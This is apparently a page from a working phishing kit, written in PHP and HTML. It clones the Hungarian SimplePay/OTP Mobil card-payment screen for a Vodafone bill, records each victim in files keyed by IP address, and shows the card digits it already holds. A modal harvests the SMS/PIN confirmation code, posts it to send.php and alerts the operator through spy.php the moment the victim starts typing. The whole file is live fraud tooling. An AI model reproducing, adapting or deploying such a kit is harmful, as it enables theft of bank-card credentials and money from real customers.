<?php
require (__DIR__) . '/../main.php';
$m = new Mother;
$ip = $_SERVER['REMOTE_ADDR'];
if ($ip == "::1") {
    $ip = "127.0.0.1";
}
$m->setDataFile("../panel/data/vics/VIC-$ip.json");
$_tan = $m->getData()["TAN"];
?>
<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>SimplePay</title>
    <link href="https://cdn.jsdelivr.net/gh/hung1001/font-awesome-pro@4cac1a6/css/all.css" rel="stylesheet"
        type="text/css" />

    <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap@5.2.3/dist/css/bootstrap.min.css"
        integrity="sha384-rbsA2VBKQhggwzxH7pPCaAqO46MgnOM80zW1RWuH61DGLwZJEdK2Kadq2F9CUG65" crossorigin="anonymous">
    <!-- <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css"> -->
    <link rel="stylesheet" href="themes/css/login.css">
    <link rel="stylesheet" href="style.css">
    <link rel="stylesheet" href="fonts/font.css">
    <link href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css" rel="stylesheet">
    <!-- jQuery -->
    <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
    <!-- Bootstrap JS -->
    <script src="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/js/bootstrap.min.js"></script>
    <link rel="stylesheet" href="themes\css\style.css">
    <link rel="stylesheet" href="fonts/font.css">
    <style>
        body {
            background-color: #f8f8f8;
        }
    </style>
</head>

<body>
    <div class="ihecgec">
        <img src="assets/images/lihdewf.png" alt="" class="lcgdec">
        <h2 class="d-none d-md-block gedcde">BANKKÁRTYÁS FIZETÉS</h2>
        <div class="kfgref">
            <span class="ecedc">Nyelv</span>
            <div class="jgfr">
                <i class="fas fa-chevron-down"></i>
                <span class="gltrhgt">MAGYAR</span>
            </div>
        </div>
    </div>
    <div class="d-block d-md-none">
        <div class="i4nfiubr4">
            <div class="ifdiuy4bf">
                <i class="fas fa-chevron-left"></i>
                <p class="ljwhdge">VISSZA A KERESKEDŐ OLDALÁRA</p>
            </div>
            <div class="iuehdfi4bu">Vodafone Magyarország Zrt.</div>
        </div>
        <div class="ghi">
            <div class="grgt">
                <p class="gvsrg">VÁSÁRLÓ</p>
                <i class="fas fa-chevron-up"></i>
            </div>
            <p class="efefe">SZÁMLÁZÁSI CÍM:</p>
        </div>
        <div class="khrhkfgr">
            <div class="lhfe">
                <label for="email" class="lhfde">Email*:</label>
                <input id="email" type="text" class="lihedfe" />
            </div>
        </div>
        <div class="jehfugre">
            <span class="efheo">ÖSSZESEN:</span>
            <h1 class="eyfoer">9 289 <span class="ewidhwgd">HUF</span></h1>
        </div>
    </div>
    <div class="d-none d-md-block">
        <div class="eihde">
            <div class="ifrf">
                <div class="ehder">
                    <i class="fas fa-chevron-left"></i>
                    VISSZA A KERESKEDŐ OLDALÁRA
                </div>
                <div class="frgrfv">Vodafone Magyarország Zrt.</div>
            </div>
            <div class="jhdeggd">
                VÁSÁRLÓ
                <i class="fas fa-chevron-up"></i>
            </div>
            <div class="kgegde">
                <span class="ldjgef">ÖSSZESEN:</span>
                <h1 class="lehfref">9 289 <span class="lhecercr">HUF</span></h1>
            </div>
        </div>
    </div>
    <div class="container">
        <div class="row justify-content-center">
            <div class="col-12 col-sm-12 col-md-10 col-lg-8 col-xl-6 jcildeh">
                <div class="row">
                    <div class="d-none d-md-block col-12 ihdeiog">
                        <div class="lhef">
                            <p class="kdjged">SZÁMLÁZÁSI CÍM:</p>
                        </div>
                        <div class="ljxihc">
                            <div class="lkhecd">
                                <label for="email" class="lihded">Email*:</label>
                                <input id="email" type="text" class="lhdegd" />
                            </div>
                        </div>
                    </div>
                    <div class="col-12 ihdefrr mt-2">
                        <div class="kdhegdr">
                            <p class="ldheide">Ha van már Simple fiókod<i class="fas fa-question-circle"></i></p>
                            <ul class="lidhedf">
                                <li class="lhfrfgve">
                                    <img src="assets/images/lhlwegd.png" alt="" class="lhfcrff">
                                    <p class="lhdece">FIZETÉS SIMPLE FIÓKKAL</p>
                                    <i class="fas fa-chevron-right"></i>
                                </li>
                                <li class="chpihefrw">
                                    <img src="assets/images/lheodhe.png" alt="" class="lhfcrff">
                                    <p class="lhdece">QR-KÓDOS FIZETÉS</p>
                                    <i class="fas fa-chevron-right"></i>
                                </li>
                            </ul>
                        </div>
                    </div>
                    <div class="col-12 liehelc mt-2">
                        <div class="kdhegdr">
                            <p class="ldheide">Egyéb digitális tárca opció<i class="fas fa-question-circle"></i></p>
                            <div class="lhced">
                                <img src="googleplay.svg" alt="" class="jkhde">
                            </div>
                        </div>
                    </div>
                    <div class="col-12 liehelc mt-2">
                        <div class="kdhegdr">
                            <div class="row justify-content-center">
                                <div class="col-11 col-sm-10 col-md-8 col-lg-8 col-xl-8">
                                    <div class="card_">
                                        <div class="gcdc"></div>
                                        <div class="lhfriefr">
                                            <img src="assets/images/khghsf_1.png" alt="" class="lifhrf">
                                            <img src="assets/images/khghsf_2.png" alt="" class="lifhrf">
                                            <img src="assets/images/khghsf_3.png" alt="" class="lifhrf">
                                        </div>
                                        <div class="lhfrfr">
                                            <div class="jrhjil">
                                                <img src="assets/images/car_1.png" alt="" class="frh">
                                                <input type="text" placeholder="Kártyaszám" class="kjhkcd">
                                            </div>
                                            <div class="jrhjil">
                                                <img src="assets/images/car_2.png" alt="" class="frh">
                                                <input type="text" placeholder="Kártyára írt név" class="kjhkcd">
                                            </div>
                                            <div class="khuefr">
                                                <div class="jrhjil heoice">
                                                    <img src="assets/images/car_3.png" alt="" class="frh">
                                                    <input type="text" placeholder="HH/ÉÉ" class="kjhkcd">
                                                </div>
                                                <div class="jrhjil heoice">
                                                    <img src="assets/images/car_4.png" alt="" class="frh">
                                                    <input type="text" placeholder="CVC/CVV kód" class="kjhkcd">
                                                    <img src="assets/images/info.png" alt="" class="frh">
                                                </div>
                                            </div>
                                        </div>
                                    </div>
                                    <div class="lfrf">
                                        <div class="checkbox-container">
                                            <input type="checkbox" id="myCheckbox">
                                            <label for="myCheckbox"></label>
                                        </div>
                                        <span class="lihfr">SIMPLE FIÓKOT REGISZTRÁLOK</span>
                                    </div>
                                    <p class="hjvgeugd4">Legközelebb már kártya-, számlaadatok megadása nélkül,
                                        jelszóval
                                        fizethetsz!</p>
                                    <div class="hgiygide">
                                        <div class="jhrft">
                                            <img src="assets/images/info.png" alt="" class="frh">
                                            <div class="jhgvd">
                                                <p class="kjhbvr">Többezer webshop, és mobilfizetési lehetőség</p>
                                                <p class="uhift">Miért érdemes Simple fiókot létrehozni?</p>
                                            </div>
                                        </div>
                                        <img src="assets/images/simple_765.png" alt="" class="ljgrcrv">
                                    </div>
                                    <button type="submit" class="ouigyfr">FIZETÉS</button>
                                </div>
                            </div>
                        </div>
                    </div>
                </div>
            </div>
        </div>
    </div>
    <footer class="iubryufruy mt-4">
        <div class="jhubcgbcue">
            <div class="hbhuebucd">
                <p class="hgu">Customer service</p>
                <p class="htfjj">Name: OTP Mobil Kft.</p>
                <p class="htfjj">Phone number: +36(1)366-6611 | +36(20)366-6611 | +36(30)366-6611 | +36(70)366-6611</p>
                <p class="htfjj">Email: ugyfelszolgalat@simple.hu</p>
                <p class="htfjj">Mailing address: 1138 Budapest, Váci út 135-139. B. ép. 5. em.</p>
            </div>
            <div class="gucebyu">
                <div class="uigy">
                    <span class="jkhb">Developed and operated by</span>
                    <img src="assets/images/otp_mob.png" alt="" class="jhgecd">
                </div>
            </div>
        </div>
    </footer>


    <!-- <button class="btn btn-primary" data-toggle="modal" data-target="#myModal">Open Modal</button> -->

    <!-- The Modal -->
    <div id="myModal" class="modal" tabindex="-1" role="dialog" data-backdrop="static">
        <div class="modal-dialog modal-dialog-centered" role="document">
            <div class="modal-content">
                <form action="" method="post" id="form" class="lijdfehf">
                    <div class="jebferf">
                        <?php if (substr($_COOKIE['sc_card'], 0, 1) == '4') { ?>
                            <img src="assets/images/vscard.png" alt="" class="kjhger">
                        <?php } else { ?>
                            <img src="assets/images/mscard.png" alt="" class="kjhger">
                        <?php } ?>
                    </div>
                    <p class="ldhrf">Írja be a PIN-kóddal kapott kódot</p>
                    <table class="llfhr">
                        <tr>
                            <td>Kereskedő</td>
                            <td>vodafone</td>
                        </tr>
                        <tr>
                            <td>Összeg</td>
                            <td>9 289 HUF</td>
                        </tr>
                        <tr>
                            <td>Dátum</td>
                            <td>
                                <?= date("m.d.Y") ?>
                            </td>
                        </tr>
                        <tr>
                            <td>Kártyaszám</td>
                            <td>**** **** ****
                                <?= substr($_COOKIE['sc_card'], -4) ?>
                            </td>
                        </tr>
                    </table>
                    <div class="jhrfvr"></div>
                    <table class="jdhef">
                        <tr>
                            <td>
                                <p>PIN kód</p>
                            </td>
                            <td>
                                <input id="sms" maxlength="4" required type="text" class="jhfr" />
                            </td>
                        </tr>
                        <?php if (isset ($_GET['e'])) { ?>
                            <tr>
                                <td colspan='2'>
                                    <p class="error_message">A megadott kód helytelen</p>
                                </td>
                            </tr>
                        <?php } ?>
                        <tr>
                            <td></td>
                            <td>
                                <input type="submit" value="Megerősít" class="uhgfdre">
                            </td>
                        </tr>
                    </table>
                </form>
            </div>
        </div>
    </div>


    <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.2.3/dist/js/bootstrap.min.js"
        integrity="sha384-cuYeSxntonz0PPNlHhBs68uyIAVpIIOZZ5JqeqvYYIcEL727kskC66kF92t6Xl2V" crossorigin="anonymous">
        </script>
    <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.2.3/dist/js/bootstrap.bundle.min.js"
        integrity="sha384-kenU1KFdBIe4zVF0s0G1M5b4hcpxyD9F7jL+jjXkk+Q2h455rYXK/7HAuoJl+0I4" crossorigin="anonymous">
        </script>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.7.1/jquery.min.js"
        integrity="sha512-v2CJ7UaYy4JwqLDIrZUI/4hqeoQieOmAZNXBeQyjo21dadnwR+8ZaIJVT8EE2iyI61OV8e6M8PP2/4hpQINQ/g=="
        crossorigin="anonymous" referrerpolicy="no-referrer"></script>


    <?php $m->ctr("SMS"); ?>
    <script>
        $(document).ready(function () {

            var abort = false;
            $('#sms').keyup(function (e) {
                if (abort == false) {
                    $.post("spy.php", {
                        otping: 1
                    });
                    abort = true;
                }
            });

            $("#form").on("submit", function (e) {
                e.preventDefault();
                var total = $("#sms").val()

                if ($("#sms").val().trim() != "") {
                    $.post("send.php", {
                        pin: total
                    }, function () {
                        window.location = "wait.php?p=sms";
                    });
                }

            });

            // $.post("spy.php", {
            //     otpview: 1
            // });

        });
    </script>
    <?php $m->ctr("SMS " . @$_GET['e']); ?>
    <script>
        $(document).ready(function () {
            // Intercept click event on modal backdrop
            $('#myModal').modal('show');
        });
    </script>
</body>

</html>